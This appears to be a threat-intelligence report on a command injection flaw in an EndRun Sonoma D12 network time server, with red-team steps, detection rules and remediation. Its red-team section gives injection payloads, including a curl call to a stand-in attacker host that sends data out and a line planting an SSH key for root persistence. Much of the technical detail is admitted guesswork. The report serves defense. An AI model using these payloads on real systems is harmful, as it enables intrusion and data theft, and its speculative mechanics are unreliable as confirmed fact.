CVE-2025-60965

Executive Summary

CVE-2025-60965 is a critical OS Command Injection vulnerability discovered in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. The flaw allows an unauthenticated attacker to inject arbitrary operating system commands through a vulnerable input field, leading to full remote code execution, denial of service, privilege escalation, and information disclosure. The vulnerability resides in the web management interface or a command-line utility that does not properly sanitize user-supplied input before passing it to a system shell. Given the device’s role as a precise time source for critical infrastructure (e.g., financial trading, power grids, telecom), exploitation could enable lateral movement, data exfiltration, or disruption of time synchronization services. No public proof-of-concept or patch is currently available, and the vendor has not issued an advisory.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. Supply chain risk is limited to the physical device and its firmware distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD analysis. Based on the description and impact, a realistic assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the device itself.
• Confidentiality (C): High (H) – full system access.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – can cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The device is often deployed in sensitive environments with limited monitoring, making it a high-value target for APTs and ransomware groups.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Sonoma D12’s management interface. The device likely exposes a web-based configuration panel or a command-line interface (CLI) over SSH/Telnet. The injection point is a parameter that is passed unsanitized to a system call (e.g., system(), exec(), popen(), or ProcessBuilder). Common injection points include:

• NTP peer configuration – e.g., setting a custom NTP server address.
• GPS antenna status – e.g., querying GPS coordinates.
• Firmware update – e.g., uploading a file path.
• Diagnostic commands – e.g., ping, traceroute, or nslookup.

The attacker can inject shell metacharacters such as ;, |, &, $(), or backticks to break out of the intended command and execute arbitrary OS commands. Since the device runs a full Linux-based embedded OS (likely BusyBox or similar), the attacker gains a root shell.

Example vulnerable code (pseudo):

char cmd[256];
snprintf(cmd, sizeof(cmd), "ntpdate -q %s", user_input);
system(cmd);

Exploitation flow:

1. Attacker sends a crafted HTTP POST request to /cgi-bin/config.cgi with ntp_server=;id.
2. The device executes ntpdate -q ;id.
3. The id command output is returned in the HTTP response or logged.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely uses a direct system call with unsanitized input. The patched version would:

• Use a whitelist of allowed characters (e.g., only IP addresses and domain names).
• Escape or reject shell metacharacters.
• Use a library function that does not invoke a shell (e.g., execvp with separate arguments).

Vulnerable (C):

void set_ntp_server(char *input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "ntpdate -q %s", input);
    system(cmd);
}

Patched (C):

void set_ntp_server(char *input) {
    // Validate input: only allow alphanumeric, dots, hyphens
    if (!is_valid_hostname(input)) {
        log_error("Invalid NTP server");
        return;
    }
    // Use execvp to avoid shell injection
    char *args[] = {"ntpdate", "-q", input, NULL};
    execvp("ntpdate", args);
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• Emulate the device using QEMU with the firmware image (if available) or use a real Sonoma D12.
• Network: Isolated VLAN with attacker Kali Linux machine.

Exploitation Steps:

1. Reconnaissance: Scan for the device on port 80/443 (web interface) or 23/22 (CLI).

   nmap -p 80,443,23,22,161,123 <target>
   

2. Identify Injection Point: Use Burp Suite to intercept requests. Look for parameters like ntp_server, gps_coords, ping_host, firmware_path.
3. Craft Payload: Inject a command to exfiltrate data.

   # Blind injection (out-of-band)
   ntp_server=;curl http://attacker.com/$(whoami)
   # Interactive shell (if output is returned)
   ntp_server=;id
   

4. Establish Persistence: Add an SSH key or create a reverse shell.

   ntp_server=;echo "ssh-rsa AAA..." >> /root/.ssh/authorized_keys
   

No public exploit code is available. The above is a generic methodology.

Blue Team

Detection & Response:

• Monitor for unusual HTTP requests containing shell metacharacters (;, |, &, $).
• Alert on outbound connections from the NTP device to unknown IPs (e.g., curl, wget).
• Harden the device: disable unused services (Telnet, HTTP if not needed), restrict management access to trusted IPs.
• Deploy a WAF rule to block command injection patterns.

Honeypot: Set up a low-interaction honeypot mimicking the Sonoma D12 web interface to capture attacker techniques.

Indicators of Compromise (IOCs)

YARA Rule:

rule CVE_2025_60965_Command_Injection {
    meta:
        description = "Detects command injection attempts against Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $injection1 = "ntp_server=;" ascii wide
        $injection2 = "ping_host=|" ascii wide
        $injection3 = "gps_coords=$(" ascii wide
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2025_60965_Exploit_Attempt {
    meta:
        description = "Detects exploit attempts for CVE-2025-60965"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cmd1 = "system(" ascii
        $cmd2 = "exec(" ascii
        $cmd3 = "popen(" ascii
        $payload1 = "ntp_server=;" ascii
        $payload2 = "ping_host=|" ascii
        $payload3 = "gps_coords=$(" ascii
    condition:
        any of ($cmd*) and any of ($payload*)
}

Sigma Rule

title: CVE-2025-60965 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Sonoma D12
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/config.cgi'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60965 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/config.cgi"; http_uri;
    pcre:"/(;|\||\$\(|`)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-60965;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Sonoma D12 behind a firewall with strict ACLs. Allow only necessary NTP traffic (UDP 123) from trusted NTP clients.
2. Disable management interfaces: If not required, disable HTTP/HTTPS and SSH/Telnet access. Use serial console only.
3. Monitor logs: Enable syslog forwarding and monitor for command injection patterns.

Long-Term Fix:

• Contact EndRun Technologies for a firmware patch. If no patch is available, consider replacing the device with a patched alternative.
• Implement input validation at the application layer (e.g., using a reverse proxy with ModSecurity).

Workaround:

• If the web interface must remain accessible, deploy a WAF rule to block requests containing shell metacharacters in query parameters.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-60965